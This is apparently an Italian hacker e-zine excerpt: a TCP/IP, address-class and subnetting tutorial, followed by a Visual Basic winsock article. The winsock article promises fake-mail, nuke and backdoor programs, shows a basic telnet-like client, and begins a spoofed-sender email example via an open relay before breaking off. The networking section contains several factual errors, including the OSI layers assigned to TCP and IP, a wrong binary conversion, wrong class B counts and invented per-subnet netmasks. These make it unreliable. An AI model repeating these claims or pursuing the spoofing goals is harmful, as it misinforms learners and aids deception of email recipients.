Nel nostro caso lo strato a cui fa' parte il Tcp e' il 3 (Rete) che ha lo scopo di instradare i dati su reti e computer di diverse tipologie e caratteristiche (Unix, Windows, ecc..)creando un circuito virtuale consentendo cosi' una certa sicurezza ed affidabilita' nella ricezione degli stessi, al contrario del 2 livello OSI (Data-link) che si occupa solamente di trasferire i dati sotto forma di pacchetti su una rete non tenendo conto delle diverse strutture a cui possono andare incontro.
Lo stesso Tcp e' formato da numerosi protocolli tra cui i piu' importanti.. IP, ICMP, ARP, che fanno parte del 2 livello OSI e sono considerati non affidabili in termini di ricezione dati, come il protocollo UDP che rimane a fiancheggiare il TCP a livello di Rete.
Quando viene creato un pacchetto, inizialmente gli viene aggiunto un'header (intestazione) dal Tcp di circa 20 byte, nel quale vi sono le informazioni necessarie al protocollo per potersi identificare ( n_porta_sorgente, n_porta_destinazione, n_sequenziale_iniziale, valore_di_controllo, n_di_riconoscimento, controllo_flusso). 
Successivamente il pacchetto viene passato allo strato inferiore, il quale si preoccupa di inserire un'altro header di protocollo a seconda del tipo di dato che puo' essere UDP,IP o altro. 
Quindi riassumendo... ad ogni protocollo a cui il pacchetto passa gli viene aggiunto il relativo header.

UDP e IP

L'header UDP e' simile al TCP, a parte l'assenza di valori di ricezione (ACK,ISN). 
Il protocollo UDP (come per l'IP), come gia' detto in precedenza, e' un protocollo senza connessione ovvero non viene aperta nessuna sessione attiva sul computer remoto. E' usato per trasferire piccole quantita' di dati sotto forma di datagram (insieme di pacchetti), tipo il NS NetBios (risoluzione nomi NetBios) che non ha bisogno di una ricezione dati sicura.
Come avrete gia' notato dal tipo di header (ambedue hanno un n di porta sorgente e di destinazione) vi sarete chiesti se non vi sono casi di conflitti causati dall'utilizzo delle stesse porte ..
.. beh semplicemente, essendo due protocolli con caratteristiche diverse (uno instaura una vera connessione, l'altro non ne ha bisogno) possono anche usare le stesse porte senza creare nessun problema ai rispettivi servizi.
Come per l'UDP, l'IP non abilita una connessione vera e propria e utilizza anch'esso i datagram per trasferire i dati. L'header contiene gli indirizzi di identificazione (IP_sorgente, IP_destinaz) ed un TTL(TimeToLive) che determina per quanto tempo il pacchetto deve rimanere in rete. 
Anch'esso non necessita di alcuna notifica di ricezione tramite i vari ACK e ISN.

ARP ed ICMP

L'ARP (Address Resolution Protocol), anche se molto importante, e' forse fra i protocolli meno conosciuti.
Per stabilire qualsiasi connessione su un computer remoto ogni pacchetto deve conoscere l'indirizzo Hardware (MAC) dello stesso. Il suo scopo e' quindi quello di risolvere l'indirizzo IP di un'host in indirizzo MAC,
utilizzando in primo luogo la cache locale e verificando che ci siano corrispondenze con l'IP in questione, successivamente (in caso di mancata risoluzione) mandando una richiesta broadcast (su tutta la rete).
L'indirizzo MAC e' in formato esadecimale e potete verificarlo sul vostro pc anche tramite il comando Nbtstat -A  tuo_IP.
Spesso mi e' capitato di sentirmi chiedere da varie persone cos'e' il RARP...
anche se di poca importanza e' meglio chiarire subito anche questo protocolo caduto ormai in disuso. Il Reverse ARP (R-ARP) non fa' altro che risolvere il MAC in un'indirizzo IP, ovvero ha lo scopo inverso di ARP.
Passiamo all'ICMP (Internet Control Message Protocol), che detto brevemente, e' utilizzato dalla rete (in particolar modo dai router[instradatori]) per scambiarsi informazioni sullo stato di un determinato host. Sarete certamente incappati qualche volta nell'odioso msg 
del vostro browser "Host not found"... altri casi si verificano quando il server manda un msg ICMP al client che il suo buffer di ricezione e' saturo a causa dell'elevata velocita' con cui riceve i suoi dati.

(!) NOTA: Contrariamente a quello che molti affermano, il NetBios NON e' un protocollo!! Semplicemente si tratta di un'interfaccia applicativa (API in poche parole) come Winsock, usata da windows per comunicare e condividere tra due Host remoti.

APRIRE UNA SESSIONE (three way handshake)

Ora vediamo di capire come avviene il processo di connessione ad un host remoto, questo processo e' chiamato "three way handshake" ... perche' composto da tre vie.
Il nostro pc (client) crea e manda un pacchetto di richiesta di connessione al server il quale risponde chiedendo una conferma del client, all'arrivo di tale conferma inizia lo scambio di dati vero e proprio.
Quindi schematizzando:

1) Il client invia un pacchetto di richiesta al server, tale pacchetto contiene il n      di porta che vuole usare ed il n sequenziale iniziale(ISN)che determina il             riconoscimento del pacchetto.

2) Il server risponde con un'altro pacchetto contenente il suo ISN piu' un 
   n di acknowledgement (accettazione) che si riferisce all'ISN del client piu' uno.

3) Il client risponde dando la conferma con un nuovo pacchetto con il n di                ACK (accettazione) ovvero l'ISN del server piu' uno.

Il n di acknowledgement serve in pratica a far capire ad ogni computer che il pacchetto mandato all'altro host e' arrivato a destinazione.
Dopodiche' inizia la connessione vera e propria con lo scambio di dati che in ogni caso, saranno tutti pacchetti TCP che avranno un n di porta (sorgente e dest.), l'ISN, l'ACK, TTL e un valore per il controllo di flusso (Sliding Windows) per evitare di sovraccaricare i buffers di ricezione delle rispettive parti. 

Mi sembra tutto chiaro no?? :-))
In alternativa andatevi a leggere qualche buon libro sul Tcp/Ip, oppure scansionate la rete alla ricerca di qualche buon doc ... tipo le RFC :-)
Nel prox art. descrivero' anche altri protocolli piu' specifici, che sara' utile conoscere ;-)



			        - Indirizzi e loro classi -
                          ---------------------------

Passiamo ad un'altro argomento: gli indirizzi IP.

Saprete sicuramente cosa sono...  vero??! 
Servono per identificare univocamente un'host da tutti gli altri,
e sono formati da un'identificativo di rete (detto ID di rete) e da un'identificativo di Host (ID di host). 

Qual'e' l'ID di rete e quello di Host ??
beh questo dipende dalla classe a cui l'IP appartiene.

.. e qui introduciamo le classi! :-)	

Allora, questo e' un normale indirizzo IP:  191.28.82.6
Dobbiamo scoprire a quale classe faccia parte..
forse i piu' saputelli avranno gia' pensato alla classe C ... 
ma non e' cosi'! :-)
Spesso anche chi e' a conoscenza di queste cose ci casca..

Le classi di indirizzi sono 5, di cui le ultime due sono riservate ad usi speciali. Ecco la tabella delle classi:

			       INDIRIZZO
CLASSE	        DA			  A 	          
____________________________________________________________________________

 A	     	     1.x.x.x         126.x.x.x	   			

 B	   	    128.x.x.x        191.x.x.x   	
  
 C	     	    192.x.x.x        223.x.x.x  	

Come potete vedere il nostro indirizzo e' compreso nella classe B , non nella C come spesso si pensa.
E' buona norma memorizzare questa tabella, perche' potra' esservi utile durante la vostra vita da Hacker ;-)

Torniamo a noi...
facciamo un passo indietro. Un'indirizzo IP e' formato da un n decimale composto da 4 byte, ovvero 32 bit , in questo modo:

11000000.01000010.11100000.10000000				tot: 32 bit

E' un n "binario" composto da gruppi di 8 bit che corrispondono a:      192.66.224.1

Ciascun ottetto puo' variare da 0 a 255 a seconda di come vengano combinati  i bit.
Per poter convertire i n  binari in n decimali puntati esiste una formula  : 
2 elevato alla n-1
dove  n e' la posizione del bit=1 nell'ottetto. La posizione si determina partendo da destra, quindi supponiamo il caso di avere il seguente ottetto...  

11000000.
87654321  =  n

il primo bit a 1 che incontriamo da destra e' il 7 e quindi la nostra espressione sara'

2 elevato alla 7-1

ovvero: 	      2 elevato alla 6 

passiamo all'altro bit....  2 elevato alla 8-1 cioe' 2 el. alla 7

totale: 	      2 el. alla 6 + 2 el. alla 7  =  64 + 128  =   192	

Che sara' il nostro valore decimale.

NOTA: L'utilizzo dei bit tutti 0 e tutti 1 e' riservato per usi speciali ( richieste di connessione e loopback ), quindi non e' possibile assegnarli ad un host o ad una rete !!

....tutto chiaro no ?  :-)

Ma che ci frega a noi di sapere la conversione dei binari in decimali che tanto sulla rete esistono solo n decimali puntati??
In effetti non e' di grandissima importanza, ma in alcuni casi servono.. per esempio in caso di Subnetting (che vedremo  poi) , per determinare come e' stata suddivisa la rete.. anche se esiste gia' una semplice tabella che elenca le possibili suddivisioni in sottoreti e' sempre meglio avere una buona conoscenza della questione.

Ora torniamo alle classi....

CLASSE A
La classe A usa il primo ottetto per l'ID di Rete, mente i rimanenti 3 ottetti rimangono per identificare l'ID Host. Bisogna tener conto pero' che per questa classe, il bit iniziale del 1 ottetto e' sempre uguale a 0 quindi rimangono solo i 7 bit successivi per determinare l'ID di rete...

01011100. ....... . ....... . ........
01101001.
00010001.
01010101.
....
sono tutti indirizzi validi di classe A.
Considerando che gli indirizzi creati dall'ottetto  01111111 e  00000000  non sono validi perche' in decimale diventerebbero 0 e 127, rimangono disponibili 126 ID di Rete per questa classe.
Per l'ID di Host  sono invece combinabili i 24 bit rimanenti, creando la possibilita' di avere ben 16.777.214 Host !  
Ormai e' considerata anch'essa una classe speciale, utilizzata solamente dalle grosse organizzazioni ( se non sbaglio dall'esercito).

CLASSE B
Questa classe utilizza i primi 2 ottetti per identificare l'ID di Rete e i due bit iniziali sono sempre 1 0 .

10001110.11000000. ........ . ........
10101010.01010101.
10111000.00010010.
10000001.10101011.
....
in questo modo rimangono 14 bit per l'indirizzo di Rete ( i primi 2 non vengono considerati) e i rimanenti 16 per l'indirizzo di Host. Ovvero 16.394 ID di rete e 64.534 ID di Host.
La classe B e' usata solitamente da organizazzioni di medio-grosse dimensioni, tipo Universita' ;-)  o 
aziende.

CLASSE C 
Ovvero la piu' utilizzata in Internet :-)
Ormai avrete capito la solfa... i primi 3 ottetti sono per l'ID di Rete e il rimanente e' per l'ID Host.
I primi 3 bit  sono sempre  110  quindi rimangono 21 bit per la rete ed i rimanenti 8 per l'Host...

11010100.11010101.01011101. .......
11010111.10101101.01011010. .......
11000011.00100101.10010100. .......
.....
per un totale di 2.097.152 per l'indirizzo di Rete e il famoso 254 per l'indirizzo di Host .

CLASSI D - E
Classi dedicate ad uso speciale. La prima per il multicasting e la seconda e' riservata ad usi futuri.


				        - Subnetting -
                                --------------
                                
                                
Bene bene.. ora passiamo alle sottoreti.
Talvolta si rende necessaria una suddivisione dell'ID di Rete in diverse sottoreti per adattarsi ad alcune caratteristiche di una rete. Questo succede spesso in una LAN (rete locale), nel caso in cui si abbiano 2 o piu' reti fisiche collegate fra loro ma avendo a disposizione solo un determinato indirizzo di rete. In questo caso per distinguere a quale rete fisica si stanno inoltrando dei dati, viene effettuato un subnetting, ovvero vengono create due o piu' sottoreti prendendo in prestito alcuni dei bit rimanenti all'ID di Host.
Avete presente la vostra maschera di sottorete (netmask)? 
....avrete sicuramente provato ad utilizzare il comando winipcfg.exe su Windows oppure ifconfig da Linux no?? oppure netstat, ecc...
..se non lo avete ancora fatto .. fatelo !!
Serve per visualizzare le informazioni della propria rete , dal vostro IP al gataway, dhcp, ecc..
compreso la vostra Netmask. C'e' un bell'art. fatto dal nostro gruppo (non ricordo chi)  che spiega dettagliatamente ogni voce relativa a quell'utility, quindi fareste bene ad andarvelo a leggere  :-)
Dunque..  la netmask e' una maschera di rete che serve appunto a determinare a quale ID di rete appartenete ed i relativi bit sono tutti posti a 1. Quindi...

255.0.0.0 			Netmask per la classe A
255.255.0.0		      Netmask per la classe B
255.255.255.0		Netmask per la classe C

Ma a cosa cavolo servono?  eccovi una breve spiegazione (non precisa ma e' affidabile)...

quando avviate la connessione, il vostro IP che vi e' stato assegnato, verra' confrontato con la vostra netmask  tramite l' ANDING (prodotto logico), chi sa' programmare sa' gia' cosa intendo, ovvero mette in rapporto i due indirizzi sotto forma binaria. 
Dopodiche' ogni volta che aprite una qualsiasi sessione o inviate dei dati ad un host remoto, l'indirizzo IP di destinazione viene confrontato con la solita netmask ed il risultato viene confrontato con quello precedente (l'AND sul vostro IP) per determinare se l'IP in questione fa' parte della vostra rete locale (evitando cosi' di mandarlo al di fuori della rete) o no.
E' piu' complicato a dirsi che a farsi...  :-(    con un'esempio risolviamo tutto.

Supponiamo che l'indirizzo IP di dest. sia  il solito 192.66.224.1 (un router ? ;-) ):


11000000.01000010.11100000.10000000		 IP in forma binaria

11111111.11111111.11111111.00000000		 Netmask	

11000000.01000010.11100000.00000000	      risultato dell'ANDing     ovvero: 192.66.224.0

il risultato del prodoto logico da' l'ID 192.66.224 che verra' confrontato con il vostro ID di rete e se coincide (come in questo caso) significa che l'IP di dest. appartiene alla vostra rete. :-)
L'ANDing come avrete visto e' dato dal rapporto fra i bit dell'IP e della Netmask, e come risultato finale vengono considerati solo i bit uguali a 1 da parte dei due indirizzi (se osservate il precedente schema vi diventa subito chiaro).

.. fin qui tutto semplice no?  c'era bisogno di fare l'ANDing ?

Ma se la rete viene divisa in sottoreti?  le cose diventano un po' piu' complicate. Ecco l'utilita' della netmask!
Ma vediamo come si suddivide una rete...
prendiamo come esempio un'indirizzo di classe C, dove e' probabile che ad un'amministratore siano necessari piu' indirizzi di rete visto che l'InterNIC (l'organizzazione che assegna gli ID di rete) puo' assegnarne solo un n limitato e strettamente indispensabile.
Abbiamo detto che per creare due sottoreti si devono logicamente prendere in prestito i bit dell'ID Host, se no come creiamo due reti in piu'? 
Nel caso di sole due sottoreti prenderemo 2 bit dagli  8 rimanenti per l'ID Host.

Inizialmente:
							         Netmask
11111111.11111111.11111111.00000000	      255.255.255.0

|________________________|
	  Netmask


Successivamente:
							
11111111.11111111.11111111.11000000	      255.255.255.192

|___________________________|
	  Netmask

Il totale del n di ID di Rete sara' determinato dalle possibili combinazioni dei 2 bit presi in prestito, ovvero 11, 00, 01, 10, ma siccome i valori tutti 0 e tutti 1 non sono validi, il n di indirizzi di rete sara'  2.
Il nostro ID di Host invece rimarra' di soli 6 bit che, combinandoli allo stesso modo, daranno 62 Host disponibili per ogni sottorete, ovvero 124 Host ( per 2 sottoreti) .... per facilitarvi le cose, con la formula  2 (alla n) -2 vi calcolate il n di host disponibili  (per ogni sottorete !!) dagli n bit rimasti per l'indirizzo host.

Vi state chiedendo il perche' di soli 124 host ? 
non dimenticate di aver preso in prestito 2 bit che erano destinati agli Host della rete, quindi diventa ovvio che il n di Host disponibili diminuisca sensibilmente..  dobbiamo anche tenere conto che di questi 124 indirizzi Host disponibili almeno 2 saranno necessari al router che mettera' in collegamento le due sottoreti....  per chi non lo sa', un router ha almeno 2 indirizzi IP usati dal proprio NIC ( scheda di interfaccia di rete), uno per ogni rete o sottorete che deve gestire.

Mi capita spesso,  in irc o tramite mail,  che mi facciano domande del tipo  " ma perche' un provider o amministratore dovrebbe dividere la sua rete in piu' sottoreti, perdendo un sacco di indirizzi host disponibili?? " 
..la risposta e' semplice, anzi le risposte sono semplici:

1) Gli ID di rete assegnati dall' InterNic  sono diventati preziosi, vengono dati          solamente lo stretto necessario per gestrire la tua rete, e se ne vuoi di piu' devi     poterlo dimostrare. 

2) Se bisogna gestire due o piu' reti di struttura diversa (Token Ring, Ethernet,          ecc..)    all'interno della propria rete, diventa necessario creare delle sottoreti.    Le sottoreti consentono di ovviare al problema di interconnessione fra reti di          diversa tipologia.

3) Nel caso in cui una rete, per determinati servizi particolari indispensabili, debba     gestire un'enorme traffico broadcast, la risoluzione migliore rimane il subnetting      che riduce sensibilmente il problema aumentando la portata dell'ampiezza di banda       della rete (ovviamente a proprio rischio ;-) ..). 

Bene,  fin qui vi  ho spiegato come si determina una sottorete con la relativa Netmask attraverso il percorso piu' lungo, ora vi mostro la tabella che sintetizza e semplifica la creazione di sottoreti con le relative caratteristiche.
Questa tabella vi dovra' rimanere in mente come se aveste visto Letitia Casta nuda nel vostro letto..!!
:-))  ( ..vabbe' forse ho esagerato un pochino..)


N DI SOTTORETI	        NDI HOST (TOT.)       	 NETMASK
___________________________________________________________________
   
(2bit)      2			     124		   255.255.255.192    

(3bit)      6		           180		   255.255.255.224

(4bit)     14			     196	         255.255.255.240

(5bit)     30			     180		   255.255.255.248

(6bit)     62	 		     124		   255.255.255.252
___________________________________________________________________
	  			     		

Se fate una prova vi renderete conto meglio dei risultati di questa tabella...
se prendete 3bit in prestito dall'ID di Host, vi saranno 6 ID di Rete disponibili e i 5 bit rimanenti dall'ID Host, combinati daranno 30 indirizzi disponibili per ogni sottorete, quindi 30 x 6 = 180 indirizzi Host totali rimasti dopo il subnetting. E cosi' via...
Come potete vedere, la scelta piu' opportuna sarebbe la 2 o la 3 che offrono un elevato n di host disponibili ed un n di sottoreti che tengono conto anche di un'ampliamento di nuove reti ( a seconda dell'esigenza).

Bene, abbiamo quasi finito... ho detto quasi  :)
ci rimane un'ultima cosa da fare....
cioe' verificare come queste sottoreti dividono la rete originaria.
Il discorso e' semplice. Una rete sottoposta ad un subnetting con Netmask 255.255.255.192, ovvero due bit dell'ID di Host che combinati daranno due sottoreti, creera' due ID di rete:

.... ...... ...... 01 000000		x.x.x.64
.... ...... ...... 10 000000 		x.x.x.128

(ricordatevi la formula  2alla n-1 )
..che rappresenteranno anche le netmask relative per ogni sottorete. 

In pratica gli Host situati fra la rete .64 e la rete .128 avranno una loro personale netmask di 255.255.255.64, mentre per gli altri 64 host della rete .128 la loro netmask sara' la 255.255.255.128,...
..se no come farebbero a capire se un pacchetto da loro inviato appartiene o no alla loro nuova sottorete? dovranno avere quindi per forza una LORO nuova netmask che determini la sottorete sulla quale stanno. Stesso discorso vale se le sottoreti fossero 3..

Netmask principale: 255.255.255.224

Combinazioni (possibili) dei n binari: 100 110 101 011 010 001

Nuovi ID di Rete creati:
x.x.x.128
x.x.x.192
x.x.x.160			
x.x.x.96
x.x.x.64
x.x.x.32
 				
N di Host per sottorete(sui rimanenti 5 bit): 30 
N di Host Totali: 180		


Abbiamo finito..  fiuu'  8-)

Dove possiamo trovare delle sottoreti? 
Sono molti i provider locali che utilizzano il subnetting per i motivi che vi ho descritto prima, in particolar modo si verificano anche nel caso si abbia a che fare con Universita', Organizazzioni, Netcafe' o Cybercafe', ecc..  ma cio' non toglie che puo' essere necessario un subnetting per altri motivi o servizi particolari.
Quindi ho ritenuto importante questa parte dell'art. dedicata alle sottoreti... 
in fin dei conti ogni nodo locale e' una specie di sottorete no?? 

In questo articolo abbiamo descritto tecnicamente gli aspetti  strutturali di una rete, nel prox (la parte II) vedremo di mettere in pratica quello che abbiamo imparato fin qui mappando una rete,
ovvero capire come e' strutturata, individuare dove sono posizionati i/il router e i/il server, quali servizi sono disponibili su quella rete, ecc..., nonche' descrivere appunto quei servizi che rendono insicura una rete e quindi eventuali bug. 
Naturalmente introdurro' prima l'argomento router ed instradamento dei pacchetti.
..mettiamoci anche alcune chicche per i lamers ..  massi' va'! :)


alla proxima 

bye

*******************************************************************
	 Se avete delle info, suggerimenti o critiche da fare: 

			   the_over@altavista.net
*******************************************************************


                                          _#_
                                       
                                       
                                       

La programmazione del winsock. 
------------------------------
By Master
SPP MemBer
------------------------------

 Cosa sarete in grado di fare (molto semplicemente) leggendo questo articolo:
 
   Sarete in grado di fare (nel giro di 10 minuti) un programma per:
  
    Spedire una mail (o una fake)
    Un telnet casalingo
    Un netcat con tre righe di programma
    Un programma per leggere la posta sul pop server
    Un programma per dare una preview delle mail sul pop
    Leggere un newsgroup
    Fare un finger o un whois
    Fare un programma per le chat personali via rete tipo ICQ
    Mandare una nuke, o proteggersi da una nuke.
    Creare un robot per cancellare determinati messaggi su un ng
    Creare un filtro sul vostro server per prevenire un mail bombing
    Fare una backdoor o in alternativa fare un programma per 
      proteggersi dalle backdoor tipo il bopsy.
    ecc...

  Vi sembra troppo?
  Chissa' quale abilita' programmatoria serve?  ;-)
  
  Sbagliato!.. e' semplicissimo! ..e ognuno dei programmi sopra elencati non supera le
  20 righe di programma se si evitano fronzoli grafici inutili e si va invece sul 
  sostanziale. 

  Non serve usare API, non serve una particolare esperienza come programmatore,
  non serve probabilmente qualcosa in piu' di quello che gia avete come supporto
  software.

  Serve invece una minima conoscenza sull'uso di telnet... solo per sapere come
  impostare le procedure.
   
premessa:

 Di solito anche chi ha raggiunto un buon livello di preparazione relativamente ai linguaggi 
32b e visual si blocca irrimediabilmente quando si tratta di usare delle procedure per
leggere o spedire dati attraverso la rete. Cio' e' dovuto principalmente al fatto che gli
strumenti per farlo sono spesso presentati in maniera contorta o (peggio) tanto
contornati da istruzioni ridondanti e inutili da far apparire la cosa impraticabile se non
dopo uno studio approfondito di mesi su manuali introvabili e documentazione altamente 
specializzata.
 Ebbene tutto cio' non e' assolutamente vero. E' vero che programmare con le ras api 
 (le procedure a basso livello tipiche del sistema windows specifiche per le connessioni) 
 non e' semplice, e' vero che una approfondita conoscenza dei protocolli di rete sarebbe
 la via tecnicamente migliore, e' vero che gli ocx dedicati alle connessioni sono spesso
 corredati da -esempi- molto belli e efficaci da provare ma che poi alla fine risultano
 piu' complessi da capire che non studiarsi gli help allegati.. ma e' anche vero che esiste
 un ocx col quale e' possibile fare veramente di tutto senza doversi preoccupare di trovare
 particolari info o far conto su particolari abilita' programmatorie.
 Questo ocx e' il winsock.  rwinsock.ocx, mswinsck.ocx, winsck.ocx .. sono praticamente 
 tutti quanti la stessa cosa e offrono tutti lo stesso prodotto dalla prima all'ultima
 versione. (per i nostri scopi anche un vecchio winsock.ocx versione 1 trito e ritrito va
 piu' che bene!!!)
 Lo si trova di base in versione aggiornata con gli intranet activex, con explorer, 
 caricando un qualunque linguaggio visual tipo il vb, il C++ o il delphi.
 
 [  Per comodita' prendero' ad esempio il winsck.ocx degli intranet e il linguaggio visual
    basic che piu' o meno tutti conoscono ed usano. ]

 Come tutti i controlli ocx anche questo e' un'insieme di procedure che automatizzano l'uso
 di diverse api tramite una semplice chiamata di programma.
 Prima di usarlo e' necessario aprire un form per il proprio programma e selezionare il 
 controllo sotto progetto/componenti nel VB. Si chiama Netmanage Winsock control il winsck.ocx
 specifico degli intranet activex 6 control.
 Il Microsoft Winsock Control mswinsck.ocx al limite va bene lo stesso (meglio il netmanage!)

 Sulla barra dei controlli appariranno due calzini bianchi, uno con scritto TCP per leggere
 en inviare dati su questo protocollo e uno con scritto UDP .. ovviamente per leggere ed 
 inviare dati su quell'altro.

 UDP e' un protocollo che ha delle caratteristiche diverse da TCP e soprattutto dei diversi
 sistemi tramite i quali comunicare dati attraverso la rete.
 Il TCP ad esempio permette la connessione fisica tra due indirizzi IP, un po' come se
 chiamaste un amico al telefono, anche se nessuno parla la connessione c'e' comunque.

 Su UDP invece non funziona cosi'.. i dati vengono spediti da un IP e vengono ricevuti solo
 se dall'altra parte c'e' qualcosa in grado di leggerli su una determinata porta; nel caso
 non ci sia invio di dati non e' presente alcuna connessione effettiva.

 Qal'e' tutta questa differenza?.. mah..ad esempio che collegandosi via TCP ad un IP2 
 quest'ultimo e' in grado di monitorare (con netstat ad esempio) il fatto che qualcuno sia
 in diretto collegamento (IP1) e pronto ad inviare qualcosa, questo e' dovuto principalmente al 
 fatto che IP2 ha dovuto inizialmente porsi in ascolto tramite un winsock.LISTEN (ascolta) 
 per poter ricevere dati ed aprire per questo una specifica porta.

 Nel caso di UDP sarebbe stato sufficiente per IP2 attendere tramite un evento specifico
 (invio dati da IP(n) su UDP porta x) i dati inviati da IP1 e riceverli dentro una variabile
 stringa esattamente nel momento in cui arrivavano; in questo caso netstat non avrebbe potuto
 monitorare in precedenza all'invio dei dati una connessione che ancora non era avvenuta di fatto
 con IP1. 
 
 Ad ogni buon conto (e passiamo alla parte pratica.. quella teorica sopra tanto non vi serve
 proprio a nulla!) per i nostri scopi base useremo soltanto il TCP.

 Prima di cominciare bisogna che vi spieghi il fatto principale.. la cosa che vi rendera'
 la programmazione del winsock facilissima.
 E' una cosa molto semplice ma che stranamente non si trova scritta da nessuna parte:
 Il winsock altro non e' (in pratica) che un TELNET .. che potete usare direttamente dentro
 i vostri programmi.. dando gli stessi comandi che date su telnet ed avendo in risposta le
 stesse stringhe di testo che ricevete solitamente. 
 vi dimostero' questo facendovi vedere come e' possibile col winsock costruirsi un telnet
 personale in 10 secondi netti (col visual basic) scrivendo solo 5 linee di programma ed
 avendo per contro un tool dalle STESSE identiche caratteristiche del telnet della microsoft.
 (forse meglio.. visto che ve lo siete fatti da soli! ;-) )

 Devo anche sottolineare una cosa importante, e' fondamentale conoscere le procedure basilari
 per fare su telente cio' che si vuol fare sul proprio programma.

  Ovvero sapere che per spedire una mail con telnet bisogna connettersi ad un server mail
 (possibilmente dotato di relay! ;-) )  alla porta 25, quindi inviare un comando HELO,
 poi MAIL FROM:, RCPT TO .. ecc...
 Bisogna sapere che per leggere la posta bisogna collegarsi al proprio POP, dare i comandi
 USER e PASS (seguiti dal proprio user e pass), LIST per vedere la lista dei messaggi presenti
 RETR n per leggerne uno, DELE n per cancellarlo ecc..
 Insomma.. do per scontato che queste cose le conoscete gia bene, comprese le procedure per 
 leggere e spedire messaggi su un news group di un determinato news server.   
 
 La -buona- conoscenza di queste sistematiche rendera' il vostro lavoro di programmazione
 immediato e addirittura banale.

 Cominciamo con la pratica:  (finalmente!) ;-))

  Farsi un telnet in casa:

 Come funziona telnet? .. semplice:
 
 1. ci si collega ad un server per sfruttare un determinato servizio
 2. si setta la porta giusta (25 sendmail, 110 pop, 119 news, 79 finger ecc...)
 3. si inviano i comandi specifici
 4. si leggono sulla finestra di dialogo le risposte del server
 5. finito si chiude la connessione e si va a mangiare qualcosa di dolce. hi hi hi

 Come si fa questo col winsock ? ... allo stesso modo!

 1. ci si connette al server settando la porta giusta    

           winsock.connect "nome del server",porta
  
 2. si inviano i comandi specifici

            winsock.senddata Stringa_con_i_dati & VbCrLf

      (VbCrLf e' l'aggiunta dei caratteri ascii 13+10 ..equivale a premere ENTER)

 3. si leggono le risposte del server

            winsock.getdata Stringa_dove_vanno_le_risposte, VbString

      (VbString dice che al vinsock che la variabile Stringa_dove_vanno_le_risposte
       contiene dati alfanumerici)
       questa istruzione andra' inserita in una procedura con l'evento DataArrival
      ovvero:

     Private Sub winsock_DataArrival(ByVal bytesTotal As Long)
        winsock.GetData Dalserver, vbString
      End Sub

     Praticamente e' una procedura che voi scrivete e che si attiva tutte le volte 
     che dal server vengono inviati dei dati.

     E' utili sia per visualizzare le risposte che per controllare (facendo una verifica
     sulle stringe ricevute) possibili errori o settare parametri a noi utili.

 4. si chiude la connessione quando si e' finito.

            winsock.close



  Il programma e' questo in pratica:
  
  Aprite un form con due caselle di testo. Alla prima (text1) ci scrivete accanto una label
  -Host remoto- alla seconda (text2) ci scrivete -porta- 
  (avete portato sul form il controllo Netmanage winsock si!? ;-))
  
  Aprite due pulsanti, sul primo (command1) ci scrivete  CONNETTI, sul secondo DISCONNETTI.
  
  Aprite un altra casella di testo  (text3) un po' lunga in fondo al form con a fianco un
  bottone (command3) con scritto sopra INVIA.
  (I comandi andranno scritti dentro questa casella e inviati tramite invia)

  Aprite l'ultima casella di testo (text4) abbastanza grande perche' su questa verranno 
  scritti i messaggi in arrivo dal server.

  una cosa cosi':

  +--------------------------------------------------------------------------------------+
  |              _______________________           _______    ________   ___________     |
  | Host Remoto |Text1__________________|  Porta  |Text2__|  |CONNETTI| |DISCONNETTI|    |
  |  __________________________________________________________________________________  |
  | |Text4                                                                             | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |__________________________________________________________________________________| |
  |  _______________________________________________________________________   _______   | 
  | |Text3__________________________________________________________________| | INVIA |  |
  |______________________________________________________________________________________|


  Il programma e' tutto qui:

--------------------------------------------------------
 Private Sub Command1_Click()
  TCP1.Connect Text1, Text2
 End Sub

 Private Sub Command2_Click()
  TCP1.Close
 End Sub
 
 Private Sub Command3_Click()
  Text4 = Text4 & Text3 & vbCrLf
  TCP1.SendData Text3 & vbCrLf
 End Sub

 Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  Text4 = Text4 & Dalserver
 End Sub
--------------------------------------------------------

 
   Strabiliante eh? ;-) .. 

 Se si escludono le linee di dichiarazione delle procedure.. il programma e' in tutto 
 5 misere righe.

 (Deriva dal fatto che il winsock appunto e' il vostro telnet nascosto personale) :))

 Spiegazione:  TCP1 (e' il nome che il winsock attribuisce al controllo di default quando
 tirate il medesimo sul form.. lo potete richiamare winsock o tenere TCP1.. non fa differenza)

 La prima procedura viene richiamata premendo il tasto CONNETTI.
 Si connette al server il cui nome e' scritto nella casella di testo text1 alla porta 
 scritta nella casella di testo text2.

 La seconda procedura vi disconnette dal server quando premete DISCONNETTI.

 La terza procedura invia al server tutto quello che trova scritto nella casella di testo
 text3 aggiungendo i caratteri CHAR(13)+ChAR(10) = NewLINE .. come se aveste premuto ENTER
 di seguito su telnet.
 Text4 = Text4 & Text3 & vbCrLf  serve a visualizzare sulla finestra text4 di seguito
 alle risposte del server anche le linee che avete inviato.

 La quarta procedura sta li.. buona buona.. se ne sta in silenzio senza fare nulla fino a 
 quando il server non vi invia qualche dato, un errore o una risposta in generale.
 Allora la procedura con l'evento DataArrival si attiva, importa tutti i dati in arrivo dal
 server dentro la variabile Dalserver (che viene dichiarata appunto come Stringa = VbString)
 e visualizza i dati sulla casella di testo Text4.
 Text4=Text4 & Dalserver .. fa in modo di aggiungere i dati di seguito a quelli gia ricevuti
 tanto da avere una lista completa esattamente come sul telnet originale.

 Compilate il programma e provate ad usarlo, vedrete che e' esattamente un telnet.
 Si potevano aggiungere altre cose.. una gestione degli errori e una migliore 
 interfaccia utente.. ma lo scopo di questo articolo e' quello di mostrare solo
 l'essenziale; al 'catenaccio' ci penserete da soli. ;-)
   
 Uno attento gia' si immagina di poter fare con questo piccolo esempio tutto quello che vuole
 compresi tutti i programmi citati nella lista sopra. Ed e' vero!
 
 Manca solo qualche finezza concettuale che e' importante implementare.
 
 L'esempio sopra infatti non considera un problema abbastanza rilevante che si potrebbe 
 presentare durante l'invio o la lettura di una mail .. ma ancor piu' durante l'invio o 
 la lettura di un news group: 

        -->   i tempi di risposta del server!

 Facciamo un primo esempio brutale di invio mail.

  Vogliamo inviare una fake mail all'indirizzo mio@amico.it facendo finta di essere 
  il signor pippo@de.pippi, avendo come subject "PROVA" e come testo "TE LO MANDO IO".
  
 Sara' necessario trovarsi un bel smpt server col relay.. per provare va bene il proprio.

